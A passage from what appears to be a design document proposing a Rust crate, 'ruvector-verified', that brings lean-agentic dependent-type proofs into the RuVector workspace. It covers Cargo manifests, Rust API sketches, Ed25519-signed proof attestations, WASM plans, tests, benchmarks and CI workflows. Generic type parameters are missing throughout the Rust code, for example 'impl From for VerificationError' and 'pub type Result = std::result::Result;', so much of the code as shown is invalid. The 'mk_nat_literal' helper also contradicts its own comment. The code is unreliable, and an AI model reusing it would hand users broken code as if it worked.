`ed25519-dalek` (proof signatures), `sha2` (hashing)\n- `bumpalo` (arena allocator), `im` (persistent collections)\n- `wasm-bindgen`/`js-sys`/`web-sys` (WASM target)\n\n### 2.7 Quality Assessment\n\n| Criteria | Rating | Notes |\n|----------|--------|-------|\n| **API surface** | Clean | 8 modules, well-separated concerns |\n| **Safety** | Strong | `#![deny(unsafe_op_in_unsafe_fn)]`, hash-consing prevents aliasing bugs |\n| **Documentation** | Good | `#![warn(missing_docs)]` enforced, docs.rs published |\n| **Testing** | Adequate | Unit tests per module, 50+ tests workspace-wide |\n| **Maturity** | Early | v0.1.0, but sound type-theory foundation |\n| **License** | Compatible | Apache-2.0 (consumable by MIT projects) |\n| **Size** | Minimal | 19KB crate, zero mandatory deps |\n| **Maintenance** | Active | Same org (agenticsorg), same maintainer (ruvnet) |\n\n**`no_std` compatibility**: The core kernel uses `HashMap` (std). For WASM targets (`wasm32-unknown-unknown`), `HashMap` is available because WASM has std support (no mmap/fs needed). For `no_std` builds, the arena would need a `hashbrown` replacement -- this is a Phase 4 concern.\n\n---\n\n## 3. Integration Rationale\n\n### 3.1 Why Lean-Agentic for RuVector\n\nRuVector's crate ecosystem handles high-stakes computation: genomic analysis, financial risk, graph neural networks, quantum simulation. These domains demand **correctness guarantees** beyond what unit tests alone provide.\n\nLean-Agentic provides:\n\n1. **Proof-Carrying Vectors** -- Attach type-theoretic proofs to HNSW index operations, certifying dimensionality, distance metric correctness, and recall bounds.\n\n2. **Verified Pipeline Invariants** -- Use dependent types to encode that DNA pipeline stages (ADR-001 through ADR-015) preserve data integrity across transformations.\n\n3. **Formal Safety for Cognitive Containers** -- RVF containers (ADR-029/030) can carry machine-checked proofs of their behavioral contracts, chaining into the existing WITNESS_SEG format.\n\n4. **Zero-Cost at Runtime** -- Compile-time proof erasure means zero overhead in release builds. Only the 0.3ns equality check remains for runtime assertions.\n\n5. **Shared Toolchain** -- Same maintainer, same org, Rust-native. No FFI boundaries or language impedance.\n\n### 3.2 RuVector Integration Points\n\n| RuVector Crate | Integration | Lean-Agentic Module | Phase |\n|---------------|-------------|---------------------|-------|\n| `ruvector-core` (HNSW) | Proven dimensionality/metric invariants | `typechecker`, `term` | 2 |\n| `ruvector-attention` | Verified attention mask shapes | `typechecker`, `conversion` | 4 |\n| `ruvector-solver` | Proven convergence properties | `unification`, `environment` | 4 |\n| `ruvector-coherence` | Formal sheaf consistency proofs | `typechecker`, `level` | 4 |\n| `ruvector-gnn` | Verified graph topology invariants | `term`, `arena` | 4 |\n| `ruvector-delta-consensus` | Proven CRDT merge commutativity | `conversion`, `unification` | 4 |\n| `prime-radiant` | Formal categorical coherence | `level`, `typechecker` | 4 |\n| `cognitum-gate-kernel` | Verified gate predicates | `typechecker`, `environment` | 4 |\n| `ruvector-temporal-tensor` | Proven temporal ordering invariants | `term`, `conversion` | 4 |\n| `ruvector-cognitive-container` | Proof-carrying cognitive containers via `WitnessChain` | Full kernel | 3 |\n| DNA pipeline (`examples/dna`) | Verified genomic transformation chain | Full kernel | 3 |\n\n**Interop note for `ruvector-coherence`**: The coherence crate currently has a `spectral` feature flag and depends only on `serde`/`serde_json`. Sheaf consistency proofs will live in `ruvector-verified` (not in `ruvector-coherence`) to avoid adding lean-agentic as a dependency to the coherence crate. `ruvector-verified` will import `ruvector-coherence` types and wrap them.\n\n**Interop note for `ruvector-cognitive-container`**: This crate already exports `WitnessChain`, `CoherenceDecision`, and `ContainerWitnessReceipt`. `ruvector-verified` will produce `ProofAttestation` values that serialize into `WitnessChain` entries -- no parallel types, just a producer-consumer relationship.\n\n---\n\n## 4. Design\n\n### 4.1 Workspace Changes\n\n#### Diff to `/workspaces/ruvector/Cargo.toml`\n\nAdd to `[workspace.members]` (after `ruvector-cognitive-container`):\n\n```toml\n \"crates/ruvector-verified\",\n```\n\nAdd to `[workspace.dependencies]`:\n\n```toml\n# Formal verification\nlean-agentic = \"=0.1.0\"\n```\n\nNote: `optional = true` is NOT valid in `[workspace.dependencies]`. Optionality is declared in each consuming crate's `[dependencies]` section via `optional = true`.\n\nThis adds one entry to `Cargo.lock` (lean-agentic itself, which has zero transitive deps without the `serde` feature).\n\n#### Version Strategy\n\n`ruvector-verified` uses **independent versioning** at `0.1.0`, not `version.workspace = true` (which would give it `2.0.4`). Rationale: this is an experimental bridge crate; it should not inherit the mature workspace version until it reaches feature parity with other `2.x` crates.\n\n### 4.2 New Crate: `ruvector-verified`\n\n```\ncrates/\n ruvector-verified/\n Cargo.toml\n src/\n lib.rs # Public API, re-exports, ProofEnvironment\n error.rs # VerificationError enum\n vector_types.rs # Dependent types for vector operations\n proof_store.rs # Ed25519-signed proof attestation\n pipeline.rs # Verified pipeline composition\n invariants.rs # Pre-built invariant library\n benches/\n proof_generation.rs # Criterion benchmarks\n arena_throughput.rs\n```\n\n#### `Cargo.toml`\n\n```toml\n[package]\nname = \"ruvector-verified\"\nversion = \"0.1.0\"\nedition = \"2021\"\nrust-version = \"1.77\"\nlicense = \"MIT OR Apache-2.0\"\ndescription = \"Formal verification layer for RuVector using lean-agentic dependent types\"\npublish = false # Until Phase 2 complete\n\n[dependencies]\n# Core verification kernel (always required -- this crate IS the verification layer)\nlean-agentic = { workspace = true }\nthiserror = { workspace = true }\n\n# Optional integrations with RuVector crates\nruvector-core = { path = \"../ruvector-core\", optional = true, default-features = false }\nruvector-coherence = { path = \"../ruvector-coherence\", optional = true }\nruvector-cognitive-container = { path = \"../ruvector-cognitive-container\", optional = true }\nrvf-types = { path = \"../rvf/rvf-types\", optional = true }\nrvf-crypto = { path = \"../rvf/rvf-crypto\", optional = true, features = [\"ed25519\"] }\n\n# Serialization (for proof persistence)\nserde = { workspace = true, optional = true }\nserde_json = { workspace = true, optional = true }\n\n[dev-dependencies]\ncriterion = { workspace = true }\nproptest = { workspace = true }\n\n[features]\ndefault = []\nhnsw-proofs = [\"dep:ruvector-core\", \"ruvector-core/hnsw\"]\nrvf-proofs = [\"dep:rvf-types\", \"dep:rvf-crypto\", \"dep:ruvector-cognitive-container\"]\ncoherence-proofs = [\"dep:ruvector-coherence\"]\nserde = [\"dep:serde\", \"dep:serde_json\", \"lean-agentic/serde\"]\nall-proofs = [\"hnsw-proofs\", \"rvf-proofs\", \"coherence-proofs\"]\n\n[[bench]]\nname = \"proof_generation\"\nharness = false\n\n[[bench]]\nname = \"arena_throughput\"\nharness = false\n```\n\n#### Feature Propagation\n\n```\nruvector-verified\n |-- [always] lean-agentic =0.1.0\n |-- [always] thiserror 2.0\n |-- [hnsw-proofs] ruvector-core (hnsw feature)\n |-- [rvf-proofs] rvf-types + rvf-crypto (ed25519) + ruvector-cognitive-container\n |-- [coherence-proofs] ruvector-coherence\n |-- [serde] serde + serde_json + lean-agentic/serde\n\nDownstream crates opt in:\n ruvector-core/Cargo.toml:\n [features]\n formal-verification = [\"dep:ruvector-verified\", \"ruvector-verified/hnsw-proofs\"]\n```\n\n### 4.3 Error Types\n\n```rust\n// crates/ruvector-verified/src/error.rs\n\nuse thiserror::Error;\n\n/// Errors from the formal verification layer.\n#[derive(Debug, Error)]\npub enum VerificationError {\n /// Vector dimension does not match the index dimension.\n /// Contains (expected, actual).\n #[error(\"dimension mismatch: expected {expected}, got {actual}\")]\n DimensionMismatch { expected: u32, actual: u32 },\n\n /// The lean-agentic type checker rejected the proof term.\n /// Contains the kernel error message.\n #[error(\"type check failed: {0}\")]\n TypeCheckFailed(String),\n\n /// Proof construction failed during term building.\n #[error(\"proof construction failed: {0}\")]\n ProofConstructionFailed(String),\n\n /// The conversion engine exhausted its fuel budget (10,000 reductions).\n #[error(\"conversion timeout: exceeded {max_reductions} reduction steps\")]\n ConversionTimeout { max_reductions: u32 },\n\n /// Unification of proof constraints failed.\n #[error(\"unification failed: {0}\")]\n UnificationFailed(String),\n\n /// The arena ran out of term slots (u32 overflow at 4B terms).\n #[error(\"arena exhausted: {allocated} terms allocated\")]\n ArenaExhausted { allocated: u32 },\n\n /// A required declaration was not found in the proof environment.\n #[error(\"declaration not found: {name}\")]\n DeclarationNotFound { name: String },\n\n /// Ed25519 proof signing or verification failed.\n #[error(\"attestation error: {0}\")]\n AttestationError(String),\n}\n\n/// Maps lean-agentic's internal `lean_agentic::Error` to `VerificationError`.\nimpl From for VerificationError {\n fn from(e: lean_agentic::Error) -> Self {\n match e {\n lean_agentic::Error::TypeError(msg) => Self::TypeCheckFailed(msg),\n lean_agentic::Error::UniverseError(msg) => Self::TypeCheckFailed(msg),\n lean_agentic::Error::UnificationError(msg) => Self::UnificationFailed(msg),\n lean_agentic::Error::NotFound(msg) => Self::DeclarationNotFound { name: msg },\n lean_agentic::Error::ConversionError { expected, actual } => {\n Self::TypeCheckFailed(format!(\"expected {expected}, got {actual}\"))\n }\n lean_agentic::Error::Internal(msg) => Self::ProofConstructionFailed(msg),\n }\n }\n}\n\npub type Result = std::result::Result;\n```\n\n### 4.4 Core Types and API\n\n```rust\n// crates/ruvector-verified/src/lib.rs\n\npub mod error;\npub mod vector_types;\npub mod proof_store;\npub mod pipeline;\npub mod invariants;\n\npub use error::{VerificationError, Result};\npub use vector_types::{mk_vector_type, mk_nat_literal};\npub use proof_store::ProofAttestation;\npub use pipeline::VerifiedStage;\n\nuse lean_agentic::{Arena, Context, Environment, TypeChecker};\n\n/// The proof environment bundles lean-agentic's kernel state.\n/// One per thread (not Send/Sync due to Arena interior mutability).\npub struct ProofEnvironment {\n /// Hash-consing arena for term allocation.\n pub arena: Arena,\n /// Global declarations (vector types, distance metrics, etc.).\n pub env: Environment,\n /// Local typing context for the current proof obligation.\n pub ctx: Context,\n /// Type checker instance.\n pub checker: TypeChecker,\n}\n\nimpl ProofEnvironment {\n /// Create a new proof environment pre-loaded with RuVector type declarations.\n pub fn new() -> Self {\n let mut arena = Arena::new();\n let mut env = Environment::new();\n let ctx = Context::new();\n let checker = TypeChecker::default();\n\n // Register built-in types: Nat, Vec, DistanceMetric\n invariants::register_builtins(&mut arena, &mut env);\n\n Self { arena, env, ctx, checker }\n }\n\n /// Get arena statistics (cache hit rate, terms allocated).\n pub fn stats(&self) -> &lean_agentic::ArenaStats {\n self.arena.stats()\n }\n}\n\nimpl Default for ProofEnvironment {\n fn default() -> Self {\n Self::new()\n }\n}\n\n/// A vector operation with a machine-checked type proof.\npub struct VerifiedOp {\n /// The operation result.\n pub value: T,\n /// Proof term ID in the arena.\n /// In release builds without debug_assertions, this is still present\n /// but can be ignored (it is a Copy u32, zero overhead).\n pub proof: lean_agentic::TermId,\n}\n```\n\n```rust\n// crates/ruvector-verified/src/vector_types.rs\n\nuse lean_agentic::{Arena, Environment, TermId, SymbolId, Binder, BinderInfo};\nuse crate::error::{Result, VerificationError};\n\n/// Construct a Nat literal term in the arena.\n///\n/// Nat values are used as dimension indices for dependent vector types.\npub fn mk_nat_literal(arena: &mut Arena, n: u32) -> TermId {\n arena.mk_const(\n arena.symbol_table().intern(\"Nat\"),\n vec![],\n )\n // For dimension checking, we use Lit(Nat(n)) directly:\n // arena.intern(TermKind::Lit(Literal::Nat(n as u64)))\n}\n\n/// Construct the type `RuVec n` representing a vector of dimension `n`.\n///\n/// In the type theory: `RuVec : Nat -> Type`\n/// Applied as: `RuVec 128` for a 128-dimensional vector.\n///\n/// # Example\n/// ```rust,ignore\n/// let mut proof_env = ProofEnvironment::new();\n/// let vec128_ty = mk_vector_type(&mut proof_env.arena, &mut proof_env.env, 128);\n/// // vec128_ty represents the type `RuVec 128`\n/// ```\npub fn mk_vector_type(arena: &mut Arena, env: &Environment, dim: u32) -> TermId {\n // Look up the pre-registered RuVec constant\n let ruvec_sym = arena.symbol_table().intern(\"RuVec\");\n let ruvec_const = arena.mk_const(ruvec_sym, vec![]);\n\n // Construct the dimension as a Nat literal\n let dim_term = arena.intern(lean_agentic::TermKind::Lit(\n lean_agentic::Literal::Nat(dim as u64),\n ));\n\n // Apply: RuVec dim\n arena.mk_app(ruvec_const, dim_term)\n}\n\n/// Prove that two dimensions are equal, returning the proof term.\n///\n/// If `expected != actual`, returns `DimensionMismatch` error.\n/// If equal, constructs a `refl` proof term: `Eq.refl : expected = actual`.\npub fn prove_dim_eq(\n arena: &mut Arena,\n expected: u32,\n actual: u32,\n) -> Result {\n if expected != actual {\n return Err(VerificationError::DimensionMismatch { expected, actual });\n }\n\n // Construct: refl {Nat} {expected}\n let refl_sym = arena.symbol_table().intern(\"Eq.refl\");\n let nat_lit = arena.intern(lean_agentic::TermKind::Lit(\n lean_agentic::Literal::Nat(expected as u64),\n ));\n let refl_const = arena.mk_const(refl_sym, vec![]);\n Ok(arena.mk_app(refl_const, nat_lit))\n}\n\n/// Verified HNSW insert: proves dimensionality match before insertion.\n///\n/// # Type signature in dependent types:\n/// ```text\n/// verified_insert : (idx : HnswIndex n) -> (v : RuVec m) -> (p : n = m) -> InsertResult\n/// ```\n#[cfg(feature = \"hnsw-proofs\")]\npub fn verified_insert(\n index_dim: u32,\n vector: &[f32],\n proof_env: &mut crate::ProofEnvironment,\n) -> Result> {\n let actual_dim = vector.len() as u32;\n\n // 1. Construct proof term: dim_eq : index_dim = vector.len()\n let proof = prove_dim_eq(&mut proof_env.arena, index_dim, actual_dim)?;\n\n // 2. Type-check the proof in the lean-agentic kernel\n let expected_ty = {\n let eq_sym = proof_env.arena.symbol_table().intern(\"Eq\");\n let n = proof_env.arena.intern(lean_agentic::TermKind::Lit(\n lean_agentic::Literal::Nat(index_dim as u64),\n ));\n let eq_const = proof_env.arena.mk_const(eq_sym, vec![]);\n proof_env.arena.mk_app(proof_env.arena.mk_app(eq_const, n), n)\n };\n\n proof_env.checker.check(\n &proof_env.arena,\n &proof_env.env,\n &proof_env.ctx,\n proof,\n expected_ty,\n ).map_err(VerificationError::from)?;\n\n // 3. Return verified result (actual HNSW insert is caller's responsibility)\n Ok(VerifiedOp { value: (), proof })\n}\n\nuse crate::VerifiedOp;\n```\n\n```rust\n// crates/ruvector-verified/src/pipeline.rs\n\nuse std::marker::PhantomData;\nuse lean_agentic::TermId;\n\n/// A verified pipeline stage with proven input/output type compatibility.\n///\n/// `A` and `B` are phantom type parameters representing the stage's\n/// logical input and output types (not runtime types).\n///\n/// The `proof` field contains a lean-agentic term proving that the\n/// stage's implementation correctly transforms `A` to `B`.\npub struct VerifiedStage {\n /// Human-readable stage name (e.g., \"kmer_embedding\", \"variant_call\").\n pub name: String,\n /// Proof term: `stage_correct : A -> B` is well-typed.\n pub proof: TermId,\n /// Input type term in the arena.\n pub input_ty: TermId,\n /// Output type term in the arena.\n pub output_ty: TermId,\n _phantom: PhantomData<(A, B)>,\n}\n\nimpl VerifiedStage {\n /// Create a new verified stage with its correctness proof.\n pub fn new(name: String, proof: TermId, input_ty: TermId, output_ty: TermId) -> Self {\n Self {\n name,\n proof,\n input_ty,\n output_ty,\n _phantom: PhantomData,\n }\n }\n}\n\n/// Compose two verified stages, producing a proof that the pipeline is type-safe.\n///\n/// Checks that `f.output_ty` is definitionally equal to `g.input_ty` using\n/// the lean-agentic conversion engine.\n///\n/// # Errors\n/// Returns `TypeCheckFailed` if the output type of `f` does not match\n/// the input type of `g`.\npub fn compose_stages(\n f: &VerifiedStage,\n g: &VerifiedStage,\n proof_env: &mut crate::ProofEnvironment,\n) -> crate::Result> {\n // Verify output(f) = input(g) via definitional equality\n let converter = lean_agentic::Converter::default();\n let eq = converter.is_def_eq(\n &proof_env.arena,\n &proof_env.env,\n &proof_env.ctx,\n f.output_ty,\n g.input_ty,\n );\n\n if !eq {\n return Err(crate::VerificationError::TypeCheckFailed(format!(\n \"pipeline type mismatch: stage '{}' output != stage '{}' input\",\n f.name, g.name,\n )));\n }\n\n // Construct composed proof: g . f\n let composed = proof_env.arena.mk_app(g.proof, f.proof);\n\n Ok(VerifiedStage::new(\n format!(\"{} >> {}\", f.name, g.name),\n composed,\n f.input_ty,\n g.output_ty,\n ))\n}\n```\n\n### 4.5 Proof Attestation and RVF Witness Integration\n\n```rust\n// crates/ruvector-verified/src/proof_store.rs\n\n/// A proof attestation that can be serialized into an RVF WITNESS_SEG entry.\n///\n/// Witness type `0x0E` = FORMAL_PROOF_VERIFICATION (new type code).\n#[derive(Debug, Clone)]\n#[cfg_attr(feature = \"serde\", derive(serde::Serialize, serde::Deserialize))]\npub struct ProofAttestation {\n /// SHAKE-256 hash of the serialized proof term.\n pub proof_term_hash: [u8; 32],\n /// SHAKE-256 hash of the environment (declarations used).\n pub environment_hash: [u8; 32],\n /// Nanosecond UNIX timestamp of verification.\n pub verification_timestamp_ns: u64,\n /// lean-agentic version that performed the check (0x00_01_00_00 = 0.1.0).\n pub verifier_version: u32,\n /// Number of type-check reduction steps consumed.\n pub reduction_steps: u32,\n /// Arena cache hit rate at time of verification (0..10000 = 0.00%..100.00%).\n pub cache_hit_rate_bps: u16,\n}\n\n/// Witness type code for formal verification proofs.\n/// Extends the existing codes: 0x01=PROVENANCE, 0x02=COMPUTATION.\npub const WITNESS_TYPE_FORMAL_PROOF: u8 = 0x0E;\n\n/// Convert a `ProofAttestation` into an `rvf_crypto::WitnessEntry` for chaining\n/// into an existing WITNESS_SEG.\n#[cfg(feature = \"rvf-proofs\")]\npub fn to_witness_entry(\n attestation: &ProofAttestation,\n prev_hash: [u8; 32],\n) -> rvf_crypto::WitnessEntry {\n rvf_crypto::WitnessEntry {\n prev_hash,\n action_hash: attestation.proof_term_hash,\n timestamp_ns: attestation.verification_timestamp_ns,\n witness_type: WITNESS_TYPE_FORMAL_PROOF,\n }\n}\n\n/// Sign a proof attestation with Ed25519 using rvf-crypto's signing infrastructure.\n///\n/// The signed attestation can be embedded in an RVF container alongside\n/// TEE attestation quotes (ADR-042). When both are present, the container\n/// carries dual certification: mathematical proof AND hardware attestation.\n#[cfg(feature = \"rvf-proofs\")]\npub fn sign_attestation(\n attestation: &ProofAttestation,\n header: &rvf_types::SegmentHeader,\n key: &ed25519_dalek::SigningKey,\n) -> rvf_crypto::SignatureFooter {\n let payload = attestation_to_bytes(attestation);\n rvf_crypto::sign_segment(header, &payload, key)\n}\n\n/// Serialize attestation to bytes for signing/hashing.\nfn attestation_to_bytes(a: &ProofAttestation) -> Vec {\n let mut buf = Vec::with_capacity(78);\n buf.extend_from_slice(&a.proof_term_hash);\n buf.extend_from_slice(&a.environment_hash);\n buf.extend_from_slice(&a.verification_timestamp_ns.to_le_bytes());\n buf.extend_from_slice(&a.verifier_version.to_le_bytes());\n buf.extend_from_slice(&a.reduction_steps.to_le_bytes());\n buf.extend_from_slice(&a.cache_hit_rate_bps.to_le_bytes());\n buf\n}\n```\n\n#### Proof Attestation Flow\n\n```\n Feature: rvf-proofs\n ~~~~~~~~~~~~~~~~~~~~\n+--------------+ +----------------+ +--------------------+\n| RuVector Op |--->| lean-agentic |--->| ProofAttestation |\n| (insert, | | TypeChecker | | proof_term_hash |\n| query, etc) | | + Converter | | environment_hash |\n+--------------+ +----------------+ | timestamp_ns |\n | verifier_version |\n +--------+-----------+\n |\n +--------v-----------+\n | to_witness_entry() |\n | witness_type=0x0E |\n +--------+-----------+\n |\n +--------v-----------+\n | rvf_crypto:: |\n | create_witness_ |\n | chain() |\n +--------+-----------+\n |\n +--------v-----------+\n | WITNESS_SEG in |\n | .rvf container |\n | (+ optional TEE |\n | attestation from |\n | ADR-042) |\n +--------------------+\n```\n\n---\n\n## 5. Compatibility Matrix\n\n| Dependency | lean-agentic requires | RuVector workspace has | Compatible? |\n|------------|----------------------|----------------------|-------------|\n| **Rust MSRV** | edition 2021 (1.56+) | `rust-version = \"1.77\"` | Yes (1.77 >= 1.56) |\n| **serde** | `1.0` (optional) | `serde = \"1.0\"` | Yes (identical) |\n| **ed25519-dalek** | `2` (upstream workspace only) | `rvf-crypto`: `ed25519-dalek = \"2\"` | Yes (same major) |\n| **HashMap** | std (arena.rs) | std available on all targets | Yes |\n| **thiserror** | Not used | `thiserror = \"2.0\"` | N/A (ruvector-verified uses 2.0) |\n| **no_std** | Not supported (uses HashMap) | WASM targets use std | OK for wasm32-unknown-unknown |\n\n**Version pinning**: `lean-agentic = \"=0.1.0\"` (exact pin). The bridge crate insulates downstream from API changes. When lean-agentic releases 0.2.0, we update the pin and adapt the bridge -- downstream crates see no change.\n\n---\n\n## 6. WASM Strategy\n\n### 6.1 Target\n\n`wasm32-unknown-unknown` (same as `ruvector-wasm`, `rvf-wasm`, `ruvector-solver-wasm`).\n\n### 6.2 Approach\n\nThe published `lean-agentic` crate compiles to WASM because:\n- Zero mandatory dependencies\n- Uses `HashMap` from std (available in `wasm32-unknown-unknown`)\n- No filesystem, mmap, or OS-specific APIs\n- No `unsafe` blocks that assume pointer widths\n\n`leanr-wasm` (the upstream WASM binding crate) is **NOT published to crates.io**. Therefore `ruvector-verified` will provide its own WASM surface using `wasm-bindgen`, following the pattern of `ruvector-solver-wasm`.\n\n### 6.3 Binary Size Budget\n\n| Component | Estimated Size |\n|-----------|---------------|\n| lean-agentic kernel (arena + typechecker + conversion) | ~40KB |\n| ruvector-verified bridge logic | ~15KB |\n| wasm-bindgen glue | ~10KB |\n| **Total (wasm-opt -Oz)** | **< 80KB** |\n\nFor reference: `rvf-solver-wasm` is 132KB post-optimization. The verification WASM should be smaller due to zero floating-point math.\n\n### 6.4 Phase 4 Deliverable\n\nA new `crates/ruvector-verified-wasm/` crate with `wasm-bindgen` exports:\n\n```rust\n#[wasm_bindgen]\npub fn verify_dimension_proof(index_dim: u32, vector_dim: u32) -> bool;\n\n#[wasm_bindgen]\npub fn create_proof_environment() -> *mut ProofEnvironment;\n\n#[wasm_bindgen]\npub fn free_proof_environment(ptr: *mut ProofEnvironment);\n```\n\n---\n\n## 7. Testing Strategy\n\n### 7.1 Unit Tests (Phase 1)\n\n| Test Name | Description | Input | Expected |\n|-----------|-------------|-------|----------|\n| `test_dim_eq_same` | Equal dimensions produce valid proof | `prove_dim_eq(128, 128)` | `Ok(TermId)` |\n| `test_dim_eq_mismatch` | Unequal dimensions error | `prove_dim_eq(128, 256)` | `Err(DimensionMismatch{128, 256})` |\n| `test_mk_vector_type` | Vector type construction | `mk_vector_type(arena, env, 128)` | `TermId` for `RuVec 128` |\n| `test_proof_env_builtins` | Environment has RuVec, Nat, Eq.refl | `ProofEnvironment::new()` | No panic, symbols interned |\n| `test_arena_cache_rate` | Cache efficiency under duplication | Create 1000 identical terms | Cache hit rate > 95% |\n\n### 7.2 Integration Tests (Phase 2)\n\n| Test Name | Description |\n|-----------|-------------|\n| `test_verified_insert_roundtrip` | `verified_insert` succeeds for matching dims, rejects mismatch |\n| `test_proof_attestation_witness_chain` | `ProofAttestation` -> `WitnessEntry` -> `create_witness_chain` -> `verify_witness_chain` round-trip |\n| `test_proof_signing_verification` | Ed25519 sign + verify attestation via rvf-crypto |\n\n### 7.3 Property-Based Tests (proptest)\n\n```rust\nproptest! {\n #[test]\n fn dim_match_always_succeeds(dim in 1u32..10_000) {\n let mut env = ProofEnvironment::new();\n let result = verified_insert(dim, &vec![0.0f32; dim as usize], &mut env);\n prop_assert!(result.is_ok());\n }\n\n #[test]\n fn dim_mismatch_always_fails(\n index_dim in 1u32..10_000,\n vector_dim in 1u32..10_000,\n ) {\n prop_assume!(index_dim != vector_dim);\n let mut env = ProofEnvironment::new();\n let result = verified_insert(index_dim, &vec![0.0f32; vector_dim as usize], &mut env);\n prop_assert!(matches!(result, Err(VerificationError::DimensionMismatch { .. })));\n }\n\n #[test]\n fn arena_never_panics(n in 1u32..100_000) {\n let mut arena = Arena::new();\n for i in 0..n {\n arena.intern(TermKind::Lit(Literal::Nat(i as u64)));\n }\n prop_assert!(arena.terms() <= n as usize);\n }\n}\n```\n\n### 7.4 Negative / Soundness Tests\n\n| Test Name | Description |\n|-----------|-------------|\n| `test_reject_unsound_proof` | Manually construct an ill-typed proof term; verify `checker.check()` rejects it |\n| `test_conversion_fuel_exhaustion` | Create a term requiring >10,000 reductions; verify `ConversionTimeout` error |\n| `test_occurs_check_prevents_infinite` | Attempt circular unification; verify `UnificationFailed` error |\n\n### 7.5 Benchmark Harness\n\n```rust\n// benches/proof_generation.rs\nuse criterion::{criterion_group, criterion_main, Criterion, BenchmarkId};\n\nfn bench_verified_insert(c: &mut Criterion) {\n let mut group = c.benchmark_group(\"verified_insert\");\n for dim in [32, 128, 512, 1024, 4096] {\n group.bench_with_input(\n BenchmarkId::from_parameter(dim),\n &dim,\n |b, &dim| {\n let vector = vec![0.0f32; dim];\n b.iter(|| {\n let mut env = ProofEnvironment::new();\n verified_insert(dim as u32, &vector, &mut env).unwrap();\n });\n },\n );\n }\n group.finish();\n}\n\nfn bench_proof_vs_unverified(c: &mut Criterion) {\n let mut group = c.benchmark_group(\"overhead_comparison\");\n let dim = 128;\n let vector = vec![0.0f32; dim];\n\n group.bench_function(\"with_proof\", |b| {\n b.iter(|| {\n let mut env = ProofEnvironment::new();\n verified_insert(dim as u32, &vector, &mut env).unwrap();\n });\n });\n\n group.bench_function(\"without_proof\", |b| {\n b.iter(|| {\n // Raw dimension check (no proof generation)\n assert_eq!(vector.len(), dim);\n });\n });\n\n group.finish();\n}\n\ncriterion_group!(benches, bench_verified_insert, bench_proof_vs_unverified);\ncriterion_main!(benches);\n```\n\n```rust\n// benches/arena_throughput.rs\nuse criterion::{criterion_group, criterion_main, Criterion};\n\nfn bench_arena_intern_unique(c: &mut Criterion) {\n c.bench_function(\"arena_intern_10k_unique\", |b| {\n b.iter(|| {\n let mut arena = Arena::new();\n for i in 0u64..10_000 {\n arena.intern(TermKind::Lit(Literal::Nat(i)));\n }\n });\n });\n}\n\nfn bench_arena_intern_dedup(c: &mut Criterion) {\n c.bench_function(\"arena_intern_10k_dedup\", |b| {\n b.iter(|| {\n let mut arena = Arena::new();\n for _ in 0..10_000 {\n arena.intern(TermKind::Lit(Literal::Nat(42)));\n }\n assert!(arena.cache_hit_rate() > 0.99);\n });\n });\n}\n\ncriterion_group!(benches, bench_arena_intern_unique, bench_arena_intern_dedup);\ncriterion_main!(benches);\n```\n\n---\n\n## 8. CI/CD Changes\n\n### 8.1 New Workflow: `.github/workflows/build-verified.yml`\n\n```yaml\nname: ruvector-verified\n\non:\n push:\n paths:\n - 'crates/ruvector-verified/**'\n - 'Cargo.lock'\n pull_request:\n paths:\n - 'crates/ruvector-verified/**'\n\njobs:\n test:\n runs-on: ubuntu-latest\n strategy:\n matrix:\n features:\n - \"\" # No features (core only)\n - \"hnsw-proofs\" # HNSW integration\n - \"rvf-proofs\" # RVF witness chain\n - \"all-proofs\" # Everything\n - \"all-proofs,serde\" # Everything + serialization\n steps:\n - uses: actions/checkout@v4\n - uses: dtolnay/rust-toolchain@stable\n - run: cargo test -p ruvector-verified --features \"${{ matrix.features }}\"\n - run: cargo test -p ruvector-verified --features \"${{ matrix.features }}\" --release\n\n bench:\n runs-on: ubuntu-latest\n steps:\n - uses: actions/checkout@v4\n - uses: dtolnay/rust-toolchain@stable\n - run: cargo bench -p ruvector-verified --features all-proofs -- --output-format bencher\n\n no-default-features:\n runs-on: ubuntu-latest\n steps:\n - uses: actions/checkout@v4\n - uses: dtolnay/rust-toolchain@stable\n - run: cargo check -p ruvector-verified --no-default-features\n```\n\n### 8.2 Existing Workflow Updates\n\nAdd to the main `build-native.yml` matrix (if present):\n\n```yaml\n- run: cargo check -p ruvector-verified --features all-proofs\n```\n\n### 8.3 WASM CI (Phase 4)\n\n```yaml\n wasm:\n runs-on: ubuntu-latest\n steps:\n - uses: actions/checkout@v4\n - uses: dtolnay/rust-toolchain@stable\n with:\n targets: wasm32-unknown-unknown\n - run: cargo build -p ruvector-verified --target wasm32-unknown-unknown --no-default-features\n - run: |\n wasm_size=$(stat -c%s target/wasm32-unknown-unknown/release/ruvector_verified.wasm)\n if [ \"$wasm_size\" -gt 81920 ]; then\n echo \"WASM binary too large: ${wasm_size} bytes (limit: 80KB)\"\n exit 1\n fi\n```\n\n---\n\n## 9. Migration Path\n\n### 9.1 Impact on Existing Users\n\n| Concern | Answer |\n|---------|--------|\n| **Existing crate APIs change?** | No. Zero changes to any existing public API. |\n| **Default features change?** | No. No existing crate gains new default features. |\n| **New transitive dependencies?** | Only if `formal-verification` feature is enabled. Otherwise, `Cargo.lock` gains one entry (`lean-agentic`), but it is never compiled. |\n| **SemVer implications** | Adding `formal-verification` as a non-default feature to `ruvector-core` is a minor version bump (2.0.4 -> 2.1.0) under Rust SemVer conventions. |\n| **Breaking changes** | None. The new crate is a leaf with no reverse dependencies initially. |\n\n### 9.2 Adoption Path\n\n1. **Phase 1-2**: `ruvector-verified` exists as an independent crate. Users who want verification add it explicitly: `cargo add ruvector-verified --features hnsw-proofs`.\n2. **Phase 3+**: Downstream crates (e.g., `ruvector-core`) gain optional `formal-verification` feature flags. Users enable with: `cargo build --features ruvector-core/formal-verification`.\n3. **No existing behavior changes** at any phase. Verification is purely additive.\n\n### 9.3 Publishing Sequence\n\n1. `lean-agentic` is already published (v0.1.0 on crates.io). No action needed.\n2. `ruvector-verified` starts with `publish = false`.\n3. When Phase 2 is complete and API stabilizes: set `publish = true`, publish as `ruvector-verified = \"0.1.0\"`.\n4. `ruvector-verified-wasm` (Phase 4): publish after `ruvector-verified`.\n\n---\n\n## 10. Implementation Plan\n\n### Phase 1: Foundation (Week 1-2)\n\n1. Add `lean-agentic = \"=0.1.0\"` to `[workspace.dependencies]`\n2. Add `\"crates/ruvector-verified\"` to `[workspace.members]`\n3. Create `crates/ruvector-verified/` with `Cargo.toml` as specified in Section 4.2\n4. Implement `error.rs` with full `VerificationError` enum (Section 4.3)\n5. Implement `ProofEnvironment` (Section 4.4)\n6. Implement `vector_types.rs`: `mk_vector_type`, `mk_nat_literal`, `prove_dim_eq`\n7. Implement `invariants.rs`: `register_builtins` for 